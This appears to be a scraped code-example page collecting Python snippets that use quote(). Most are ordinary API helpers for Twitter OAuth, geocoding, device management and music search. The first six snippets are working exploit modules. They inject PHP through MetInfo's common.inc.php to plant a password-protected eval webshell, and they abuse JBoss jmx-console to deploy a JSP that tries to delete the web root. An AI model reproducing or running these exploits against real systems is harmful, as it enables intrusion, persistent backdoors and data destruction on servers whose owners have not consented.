python类quote()的实例源码

poc_2015_0065.py 文件源码 项目:poc 作者: y1ng1996 项目源码 文件源码 阅读 29 收藏 0 点赞 0 评论 0
def verify(cls, args):
        url = args['options']['target']
        payload = 'echo md5("beebeeto");//'
        name = os.urandom(3).encode('hex')
        shell_url = '%s/cache/langadmin_%s.php' % (url, name)
        verify_url = (
            '%s/admin/include/common.inc.php?met_admin_type_ok=1&langset=%s&m'
            'et_langadmin[%s][]=12345&str=%s' %
            (url, name, name, urllib2.quote(payload))
        )
        if args['options']['verbose']:
            print '[*] Request URL: ' + verify_url
        requests.get(verify_url)
        if args['options']['verbose']:
            print '[*] Request SHELL: ' + verify_url
        content = requests.get(shell_url).content
        if '595bb9ce8726b4b55f538d3ca0ddfd76' in content:
            args['success'] = True
            args['poc_ret']['vul_url'] = verify_url
            args['poc_ret']['test_shell'] = shell_url
        return args
poc_2015_0065.py 文件源码 项目:poc 作者: y1ng1996 项目源码 文件源码 阅读 25 收藏 0 点赞 0 评论 0
def exploit(cls, args):
        url = args['options']['target']
        payload = 'echo md5("beebeeto");@eval($_POST["bb2"]);//'
        name = os.urandom(3).encode('hex')
        shell_url = '%s/cache/langadmin_%s.php' % (url, name)
        verify_url = (
            '%s/admin/include/common.inc.php?met_admin_type_ok=1&langset=%s&m'
            'et_langadmin[%s][]=12345&str=%s' %
            (url, name, name, urllib2.quote(payload))
        )
        if args['options']['verbose']:
            print '[*] Request URL: ' + verify_url
        requests.get(verify_url)
        if args['options']['verbose']:
            print '[*] Request SHELL: ' + verify_url
        content = requests.get(shell_url).content
        if '595bb9ce8726b4b55f538d3ca0ddfd76' in content:
            args['success'] = True
            args['poc_ret']['vul_url'] = verify_url
            args['poc_ret']['webshell'] = shell_url
            args['poc_ret']['password'] = 'bb2'
        return args
poc_2015_0105.py 文件源码 项目:poc 作者: y1ng1996 项目源码 文件源码 阅读 26 收藏 0 点赞 0 评论 0
def verify(cls, args):
        verify_code = ('\n<%@ page import="java.util.*,java.io.*" %>\n<%@ page import="'
                       'java.io.*"%>\n<%\nString path=request.getRealPath("");\nout.prin'
                       'tln(path);\nFile d=new File(path);\nif(d.exists()){\n  d.delete()'
                       ';\n  }\n%>\n<% out.println("this_is_not_exist_9.1314923");%>')
        payload = ('action=invokeOp&name=jboss.admin%%3Aservice%%3DDeploymentFileRepositor'
                   'y&methodIndex=5&arg0=test.war&arg1=test&arg2=.jsp&arg3=%s&arg4=True')
        verify_data = payload % urllib2.quote(verify_code)
        verify_url = args['options']['target'] + '/jmx-console/HtmlAdaptor'
        if args['options']['verbose']:
            print '[*] Request URL: ' + verify_url
        page_content = ''
        request = urllib2.Request(verify_url, verify_data)
        response = urllib2.urlopen(request)
        page_content = response.read()
        if 'this_is_not_exist_9.1314923' in page_content:
            args['success'] = True
            args['poc_ret']['vul_url'] = verify_url
        return args
poc_2015_0065.py 文件源码 项目:poc 作者: cflq3 项目源码 文件源码 阅读 31 收藏 0 点赞 0 评论 0
def verify(cls, args):
        url = args['options']['target']
        payload = 'echo md5("beebeeto");//'
        name = os.urandom(3).encode('hex')
        shell_url = '%s/cache/langadmin_%s.php' % (url, name)
        verify_url = (
            '%s/admin/include/common.inc.php?met_admin_type_ok=1&langset=%s&m'
            'et_langadmin[%s][]=12345&str=%s' %
            (url, name, name, urllib2.quote(payload))
        )
        if args['options']['verbose']:
            print '[*] Request URL: ' + verify_url
        requests.get(verify_url)
        if args['options']['verbose']:
            print '[*] Request SHELL: ' + verify_url
        content = requests.get(shell_url).content
        if '595bb9ce8726b4b55f538d3ca0ddfd76' in content:
            args['success'] = True
            args['poc_ret']['vul_url'] = verify_url
            args['poc_ret']['test_shell'] = shell_url
        return args
poc_2015_0065.py 文件源码 项目:poc 作者: cflq3 项目源码 文件源码 阅读 28 收藏 0 点赞 0 评论 0
def exploit(cls, args):
        url = args['options']['target']
        payload = 'echo md5("beebeeto");@eval($_POST["bb2"]);//'
        name = os.urandom(3).encode('hex')
        shell_url = '%s/cache/langadmin_%s.php' % (url, name)
        verify_url = (
            '%s/admin/include/common.inc.php?met_admin_type_ok=1&langset=%s&m'
            'et_langadmin[%s][]=12345&str=%s' %
            (url, name, name, urllib2.quote(payload))
        )
        if args['options']['verbose']:
            print '[*] Request URL: ' + verify_url
        requests.get(verify_url)
        if args['options']['verbose']:
            print '[*] Request SHELL: ' + verify_url
        content = requests.get(shell_url).content
        if '595bb9ce8726b4b55f538d3ca0ddfd76' in content:
            args['success'] = True
            args['poc_ret']['vul_url'] = verify_url
            args['poc_ret']['webshell'] = shell_url
            args['poc_ret']['password'] = 'bb2'
        return args
poc_2015_0105.py 文件源码 项目:poc 作者: cflq3 项目源码 文件源码 阅读 36 收藏 0 点赞 0 评论 0
def verify(cls, args):
        verify_code = ('\n<%@ page import="java.util.*,java.io.*" %>\n<%@ page import="'
                       'java.io.*"%>\n<%\nString path=request.getRealPath("");\nout.prin'
                       'tln(path);\nFile d=new File(path);\nif(d.exists()){\n  d.delete()'
                       ';\n  }\n%>\n<% out.println("this_is_not_exist_9.1314923");%>')
        payload = ('action=invokeOp&name=jboss.admin%%3Aservice%%3DDeploymentFileRepositor'
                   'y&methodIndex=5&arg0=test.war&arg1=test&arg2=.jsp&arg3=%s&arg4=True')
        verify_data = payload % urllib2.quote(verify_code)
        verify_url = args['options']['target'] + '/jmx-console/HtmlAdaptor'
        if args['options']['verbose']:
            print '[*] Request URL: ' + verify_url
        page_content = ''
        request = urllib2.Request(verify_url, verify_data)
        response = urllib2.urlopen(request)
        page_content = response.read()
        if 'this_is_not_exist_9.1314923' in page_content:
            args['success'] = True
            args['poc_ret']['vul_url'] = verify_url
        return args
nlp_tool.py 文件源码 项目:dm-baidu 作者: dongeforever 项目源码 文件源码 阅读 24 收藏 0 点赞 0 评论 0
def word_seg_get(data):
    output = get_page(get_addres + urllib2.quote(data.encode("utf-8")))
    if not 'SegmentResult' in output:
        return {}
    result = {}
    output = output.decode("gbk").encode("utf-8")
    #print output
    #print data.encode("utf-8")
    #output = output.translate(string.maketrans('\n',' '))
    info_dict = json.loads(output)
    segment = []
    if 'SegmentResult' in info_dict:
        for i in range(0, len(info_dict['SegmentResult'])):
            if info_dict['SegmentResult'][i] and 'buffer' in info_dict['SegmentResult'][i]:
                segment.append(info_dict['SegmentResult'][i]['buffer'])
                #print info_dict['SegmentResult'][i]['buffer'].encode('utf-8')
    basic = []
    if 'BasicWordResult' in info_dict:
        for i in range(0, len(info_dict['BasicWordResult'])):
            if info_dict['BasicWordResult'][i] and 'buffer' in info_dict['BasicWordResult'][i]:
                basic.append(info_dict['BasicWordResult'][i]['buffer'])
                #print info_dict['SegmentResult'][i]['buffer'].encode('utf-8')
    result["segment"] = segment
    result["basic"] = basic
    return result
get_nlp_result.py 文件源码 项目:dm-baidu 作者: dongeforever 项目源码 文件源码 阅读 33 收藏 0 点赞 0 评论 0
def word_seg_get(data):
    output = get_page(get_addres + urllib2.quote(data.encode("utf-8")))
    if not 'SegmentResult' in output:
        return {}
    result = {}
    output = output.decode("gbk").encode("utf-8")
    #print output
    output = output.translate(string.maketrans('\n',' '))
    info_dict = json.loads(output)
    segment = []
    if 'SegmentResult' in info_dict:
        for i in range(0, len(info_dict['SegmentResult'])):
            if info_dict['SegmentResult'][i] and 'buffer' in info_dict['SegmentResult'][i]:
                segment.append(info_dict['SegmentResult'][i]['buffer'])
                #print info_dict['SegmentResult'][i]['buffer'].encode('utf-8')
    basic = []
    if 'BasicWordResult' in info_dict:
        for i in range(0, len(info_dict['BasicWordResult'])):
            if info_dict['BasicWordResult'][i] and 'buffer' in info_dict['BasicWordResult'][i]:
                basic.append(info_dict['BasicWordResult'][i]['buffer'])
                #print info_dict['SegmentResult'][i]['buffer'].encode('utf-8')
    result["segment"] = segment
    result["basic"] = basic
    return result
nlp_tool.py 文件源码 项目:dm-baidu 作者: dongeforever 项目源码 文件源码 阅读 25 收藏 0 点赞 0 评论 0
def word_seg_get(data):
    output = get_page(get_addres + urllib2.quote(data.encode("utf-8")))
    if not 'SegmentResult' in output:
        return {}
    result = {}
    output = output.decode("gbk").encode("utf-8")
    #print output
    output = output.translate(string.maketrans('\n',' '))
    info_dict = json.loads(output)
    segment = []
    if 'SegmentResult' in info_dict:
        for i in range(0, len(info_dict['SegmentResult'])):
            if info_dict['SegmentResult'][i] and 'buffer' in info_dict['SegmentResult'][i]:
                segment.append(info_dict['SegmentResult'][i]['buffer'])
                #print info_dict['SegmentResult'][i]['buffer'].encode('utf-8')
    basic = []
    if 'BasicWordResult' in info_dict:
        for i in range(0, len(info_dict['BasicWordResult'])):
            if info_dict['BasicWordResult'][i] and 'buffer' in info_dict['BasicWordResult'][i]:
                basic.append(info_dict['BasicWordResult'][i]['buffer'])
                #print info_dict['SegmentResult'][i]['buffer'].encode('utf-8')
    result["segment"] = segment
    result["basic"] = basic
    return result
oauth.py 文件源码 项目:TwiBot 作者: ShruthiChari 项目源码 文件源码 阅读 29 收藏 0 点赞 0 评论 0
def encode_params(self, base_url, method, params):
        params = params.copy()

        if self.token:
            params['oauth_token'] = self.token

        params['oauth_consumer_key'] = self.consumer_key
        params['oauth_signature_method'] = 'HMAC-SHA1'
        params['oauth_version'] = '1.0'
        params['oauth_timestamp'] = str(int(time()))
        params['oauth_nonce'] = str(getrandbits(64))

        enc_params = urlencode_noplus(sorted(params.items()))

        key = self.consumer_secret + "&" + urllib_parse.quote(self.token_secret, safe='~')

        message = '&'.join(
            urllib_parse.quote(i, safe='~') for i in [method.upper(), base_url, enc_params])

        signature = (base64.b64encode(hmac.new(
                    key.encode('ascii'), message.encode('ascii'), hashlib.sha1)
                                      .digest()))
        return enc_params + "&" + "oauth_signature=" + urllib_parse.quote(signature, safe='~')
cmdline.py 文件源码 项目:TwiBot 作者: ShruthiChari 项目源码 文件源码 阅读 23 收藏 0 点赞 0 评论 0
def __call__(self, twitter, options):
        # We need to be pointing at search.twitter.com to work, and it is less
        # tangly to do it here than in the main()
        twitter.domain = "search.twitter.com"
        twitter.uriparts = ()
        # We need to bypass the TwitterCall parameter encoding, so we
        # don't encode the plus sign, so we have to encode it ourselves
        query_string = "+".join(
            [quote(term)
             for term in options['extra_args']])

        results = twitter.search(q=query_string)['results']
        f = get_formatter('search', options)
        for result in results:
            resultStr = f(result, options)
            if resultStr.strip():
                printNicely(resultStr)
oauth.py 文件源码 项目:TwiBot 作者: ShruthiChari 项目源码 文件源码 阅读 29 收藏 0 点赞 0 评论 0
def encode_params(self, base_url, method, params):
        params = params.copy()

        if self.token:
            params['oauth_token'] = self.token

        params['oauth_consumer_key'] = self.consumer_key
        params['oauth_signature_method'] = 'HMAC-SHA1'
        params['oauth_version'] = '1.0'
        params['oauth_timestamp'] = str(int(time()))
        params['oauth_nonce'] = str(getrandbits(64))

        enc_params = urlencode_noplus(sorted(params.items()))

        key = self.consumer_secret + "&" + urllib_parse.quote(self.token_secret, safe='~')

        message = '&'.join(
            urllib_parse.quote(i, safe='~') for i in [method.upper(), base_url, enc_params])

        signature = (base64.b64encode(hmac.new(
                    key.encode('ascii'), message.encode('ascii'), hashlib.sha1)
                                      .digest()))
        return enc_params + "&" + "oauth_signature=" + urllib_parse.quote(signature, safe='~')
cmdline.py 文件源码 项目:TwiBot 作者: ShruthiChari 项目源码 文件源码 阅读 27 收藏 0 点赞 0 评论 0
def __call__(self, twitter, options):
        # We need to be pointing at search.twitter.com to work, and it is less
        # tangly to do it here than in the main()
        twitter.domain = "search.twitter.com"
        twitter.uriparts = ()
        # We need to bypass the TwitterCall parameter encoding, so we
        # don't encode the plus sign, so we have to encode it ourselves
        query_string = "+".join(
            [quote(term)
             for term in options['extra_args']])

        results = twitter.search(q=query_string)['results']
        f = get_formatter('search', options)
        for result in results:
            resultStr = f(result, options)
            if resultStr.strip():
                printNicely(resultStr)
CasperAPI_CLI.py 文件源码 项目:Casper-API-Tools 作者: eventbrite 项目源码 文件源码 阅读 29 收藏 0 点赞 0 评论 0
def getComputerId(computerSearch, username, password):
    computerSearch_normalized = urllib2.quote(computerSearch)

    reqStr = jss_api_base_url + '/computers/match/' + computerSearch_normalized

    r = sendAPIRequest(reqStr, username, password, 'GET')

    if r == -1:
        return -1

    #responseCode = r.code
    baseXml = r.read()
    #print baseXml
    responseXml = etree.fromstring(baseXml)

    response_size = responseXml.find('size').text

    if response_size == '0':
        #print 'Mobile Device not found, please search again.'
        return -1
    elif response_size == '1':
        return responseXml.find('computer/id').text
    else:
        #print 'Too many results, narrow your search paramaters.'
        return -2
CasperAPI_CLI.py 文件源码 项目:Casper-API-Tools 作者: eventbrite 项目源码 文件源码 阅读 29 收藏 0 点赞 0 评论 0
def getMobileDeviceId(mobileDeviceName, username, password):
    mobileDeviceName_normalized = urllib2.quote(mobileDeviceName)
    reqStr = jss_api_base_url + '/mobiledevices/match/' + mobileDeviceName_normalized

    r = sendAPIRequest(reqStr, username, password, 'GET')

    if r == -1:
        return -1

    #responseCode = r.code
    baseXml = r.read()
    #print baseXml
    responseXml = etree.fromstring(baseXml)

    response_size = responseXml.find('size').text

    if response_size == '0':
        #print 'Mobile Device not found, please search again.'
        return -1
    elif response_size == '1':
        return responseXml.find('mobile_device/id').text
    else:
        #print 'Too many results, narrow your search paramaters.'
        return -2
CasperAPI_CLI.py 文件源码 项目:Casper-API-Tools 作者: eventbrite 项目源码 文件源码 阅读 24 收藏 0 点赞 0 评论 0
def updateMobileDeviceName(mobileSearch, deviceName, username, password):
    print 'Updating Mobile Device name for mobile device ' + mobileSearch + ' to ' + deviceName + '...'
    newDeviceName_normalized = urllib2.quote(deviceName)

    mobile_id = getSupervisedMobileDeviceId(mobileSearch, username, password)
    if str(mobile_id) == '-1':
        print 'Mobile device ' + mobileSearch + ' not found, please try again.'
        return -1
    elif str(mobile_id) == '-2':
        print 'More than one mobile device matching search string ' + str(mobileSearch) + ', please try again.'
        return -1
    elif str(mobile_id) == '-3':
        print 'Device found, but is not supervised.'

    postStr = jss_api_base_url + '/mobiledevicecommands/command/DeviceName/' + newDeviceName_normalized + '/id/' + mobile_id
    postXML = "<mobile_device_command><command>DeviceName</command><mobile_devices><mobile_device><id>" + mobile_id + "</id><device_name>" + deviceName + "</device_name></mobile_device></mobile_devices></mobile_device_command>"
CasperAPI_CLI.py 文件源码 项目:Casper-API-Tools 作者: eventbrite 项目源码 文件源码 阅读 31 收藏 0 点赞 0 评论 0
def getComputerGroupId(groupSearch, username, password):
    groupSearch_normalized = urllib2.quote(groupSearch)

    reqStr = jss_api_base_url + '/computergroups/name/' + groupSearch_normalized

    r = sendAPIRequest(reqStr, username, password, 'GET')

    if r != -1:
        responseCode = r.code
        #print 'Response Code: ' + str(responseCode)

        baseXml = r.read()
        responseXml = etree.fromstring(baseXml)

        computerGroupId = responseXml.find('id').text
        #print computerGroupId
        return computerGroupId
    else:
        #print 'Group not found.'
        return -1
managers.py 文件源码 项目:old-web 作者: cualbondi 项目源码 文件源码 阅读 27 收藏 0 点赞 0 评论 0
def rawGeocoder(self, query):
        # http://stackoverflow.com/questions/9884475/using-google-maps-geocoder-from-python-with-urllib2
        add = query + ", Argentina"
        add = urllib2.quote(add.encode('utf8'))
        geocode_url = "http://maps.googleapis.com/maps/api/geocode/json?language=es&address=%s&sensor=false" % add
        req = urllib2.urlopen(geocode_url)
        res = json.loads(req.read())
        # comprehension para parsear lo devuelto por el google geocoder
        ret = [
                {
                    'nombre'   : i["formatted_address"],
                    'precision': len(i["address_components"]) / 6,
                    'geom'     : "POINT(" + str(i["geometry"]["location"]["lng"]) + " " + str(i["geometry"]["location"]["lat"]) + ")",
                    'tipo'     : "rawGeocoder"
                }
                for i in res["results"]
              ]
        return ret
managers.py 文件源码 项目:old-web 作者: cualbondi 项目源码 文件源码 阅读 28 收藏 0 点赞 0 评论 0
def direccionPostal(self, calle, numero, ciudad_slug):
        # http://stackoverflow.com/questions/9884475/using-google-maps-geocoder-from-python-with-urllib2
        import urllib2
        import json
        add = calle + " " + numero + ", " + ciudad_slug + ", Argentina"
        add = urllib2.quote(add.encode('utf8'))
        geocode_url = "http://maps.googleapis.com/maps/api/geocode/json?language=es&address=%s&sensor=false" % add
        req = urllib2.urlopen(geocode_url)
        res = json.loads(req.read())
        # comprehension para parsear lo devuelto por el google geocoder
        ret = [
                {
                    'nombre'   : i["formatted_address"],
                    'precision': 1,
                    'geom'     : "POINT(" + str(i["geometry"]["location"]["lng"]) + " " + str(i["geometry"]["location"]["lat"]) + ")",
                    'tipo'     : "direccionPostal"
                }
                for i in res["results"]
                if "street_address" in i["types"]
              ]
        return ret
get_preview_url.py 文件源码 项目:DAMR 作者: V2AI 项目源码 文件源码 阅读 26 收藏 0 点赞 0 评论 0
def get_trackid_from_text_search(title,artistname=''):
    """
    Search for an artist + title using 7digital search API
    Return None if there is a problem, or tuple (title,trackid)
    """
    url = 'http://api.7digital.com/1.2/track/search?'
    url += 'oauth_consumer_key='+DIGITAL7_API_KEY
    query = title
    if artistname != '':
        query = artistname + ' ' + query
    query = urllib2.quote(query)
    url += '&q='+query
    xmldoc = url_call(url)
    status = xmldoc.getAttribute('status')
    if status != 'ok':
        return None
    resultelem = xmldoc.getElementsByTagName('searchResult')
    if len(resultelem) == 0:
        return None
    track = resultelem[0].getElementsByTagName('track')[0]
    tracktitle = track.getElementsByTagName('title')[0].firstChild.data
    trackid = int(track.getAttribute('id'))
    return (tracktitle,trackid)


问题


面经


文章

微信
公众号

扫码关注公众号